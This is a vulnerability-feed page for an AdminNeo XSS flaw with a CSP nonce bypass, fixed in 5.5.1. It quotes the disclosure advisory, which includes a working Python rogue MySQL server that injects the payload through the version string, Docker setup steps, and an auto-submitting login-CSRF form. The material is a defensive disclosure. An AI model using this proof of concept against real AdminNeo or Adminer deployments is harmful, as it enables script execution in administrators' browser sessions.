Answer in brief
CVE-2026-96632 records a High severity vulnerability in AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass). The current sources do not mark it as known exploited. The current feed maps adminneo-org/adminneo (composer), adminneo-org/adminneo (composer). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
A CVSS score is not reported in the current record. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps adminneo-org/adminneo (composer), adminneo-org/adminneo (composer). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| adminneo-org/adminneocomposer | <5.5.1 | 5.5.1 |
| adminneo-org/adminneocomposer | <5.5.1 | 5.5.1 |
Published upstream
Oct 30, 2026
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Oct 30, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Oct 30, 2026
## Summary AdminNeo inserts the database server's version string into a `<script>` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF. Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj ## Prerequisites - Target runs AdminNeo - Attacker controls a reachable MySQL server (a 80-line Python script) ## Root Cause `admin/core/Admin.php`, lines 1285-1286: ```php echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" . Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });"); ``` `script()` wraps the output in `<script nonce="VALID_NONCE">`. Return value of `Connection::get()->getVersion()` is not escaped. ## Steps To Reproduce ### 1. Build the environment **Dockerfile** (AdminNeo): ```dockerfile FROM php:8.3-cli COPY adminneo.php /var/www/adminneo.php WORKDIR /var/www EXPOSE 8081 CMD ["php", "-S", "0.0.0.0:8081"] ``` **rogue_mysql.py** (fake MySQL server that accepts any login): ```python import socket, struct, threading PAYLOAD = "1');alert(origin)//" # Capability flags the client expects CAP_PROTOCOL_41 = 0x0200 CAP_SECURE_CONNECTION = 0x8000 CAP_PLUGIN_AUTH = 0x00080000 CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16) def make_packet(seq, payload): length = struct.pack("<I", len(payload))[:3] return length + bytes([seq]) + payload def make_greeting(version_str): pkt = b"\x0a" # protocol version 10 pkt += version_str.encode() + b"\x00" # version string pkt += struct.pack("<I", 1) # connection id pkt += b"\x41" * 8 # auth plugin data part 1 pkt += b"\x00" # filler pkt += struct.pack("<H", CAPS_LOW) # capability flags lower pkt += b"\x21" # charset utf8 pkt += struct.pack("<H", 0x0002) # status flags pkt += struct.pack("<H", CAPS_HIGH) # capability flags upper pkt += b"\x15" # auth data length (21) pkt += b"\x00" * 10 # reserved pkt += b"\x41" * 12 + b"\x00" # auth plugin data part 2 pkt += b"mysql_native_password\x00" # auth plugin name return make_packet(0, pkt) def make_ok(seq): pkt = b"\x00" # OK marker pkt += b"\x00" # affected rows pkt += b"\x00" # last insert id pkt += struct.pack("<H", 0x0002) # status flags pkt += struct.pack("<H", 0) # warnings return make_packet(seq, pkt) def make_eof(seq): pkt = b"\xfe" pkt += struct.pack("<H", 0) # warnings pkt += struct.pack("<H", 0x0002) # status flags return make_packet(seq, pkt) def make_err(seq, msg=b"not supported"): pkt = b"\xff" pkt += struct.pack("<H", 1045) pkt += b"#HY000" pkt += msg return make_packet(seq, pkt) def handle(conn): conn.sendall(make_greeting(PAYLOAD)) try: conn.recv(4096) # client login request except Exception: conn.close() return conn.sendall(make_ok(2)) # accept login # Answer any queries Adminer sends after login while True: try: data = conn.recv(4096) if not data: break seq = data[3] + 1 # Send ERR for all queries (Adminer still has the version in memory) conn.sendall(make_err(seq)) except Exception: break conn.close() srv = socket.socket() srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("0.0.0.0", 3307)) srv.listen(5) print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD) while True: conn, addr = srv.accept() print(f"[+] Connection from {addr}") threading.Thread(target=handle, args=(conn,)).start() ``` ```shell # Terminal 1: start Adminer docker build -t adminer-xss . docker run -d -p 8081:8081 --name adminer-xss adminer-xss # Terminal 2: start rogue MySQL python3 rogue_mysql.py ``` ### 2. Trigger the XSS Open a browser and navigate to `http://localhost:8081/adminneo.php`: 1. Select driver: **MySQL** 2. Server: `HOST_IP:3307` (IP of the machine running rogue_mysql.py) 3. Username: `root` 4. Password: `x` 5. Click Login. The rogue server accepts the login. AdminNeo renders the dashboard and includes: ```html <script nonce="REAL_NONCE">let autocompletion; window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script> ``` The browser executes `alert(origin)` with full CSP bypass because the script tag carries a valid nonce. ### 3. Trigger it via Login CSRF The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server: ```html <form id="f" method="POST" action="http://TARGET/adminneo.php"> <input name="auth[driver]" value="mysql"> <input name="auth[server]" value="ROGUE_IP:3307"> <input name="auth[username]" value="root"> <input name="auth[password]" value="x"> </form> <script>document.getElementById('f').submit()</script> ``` ## Collaborator Request This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
Quoted source text, attributed separately from HOL analysis.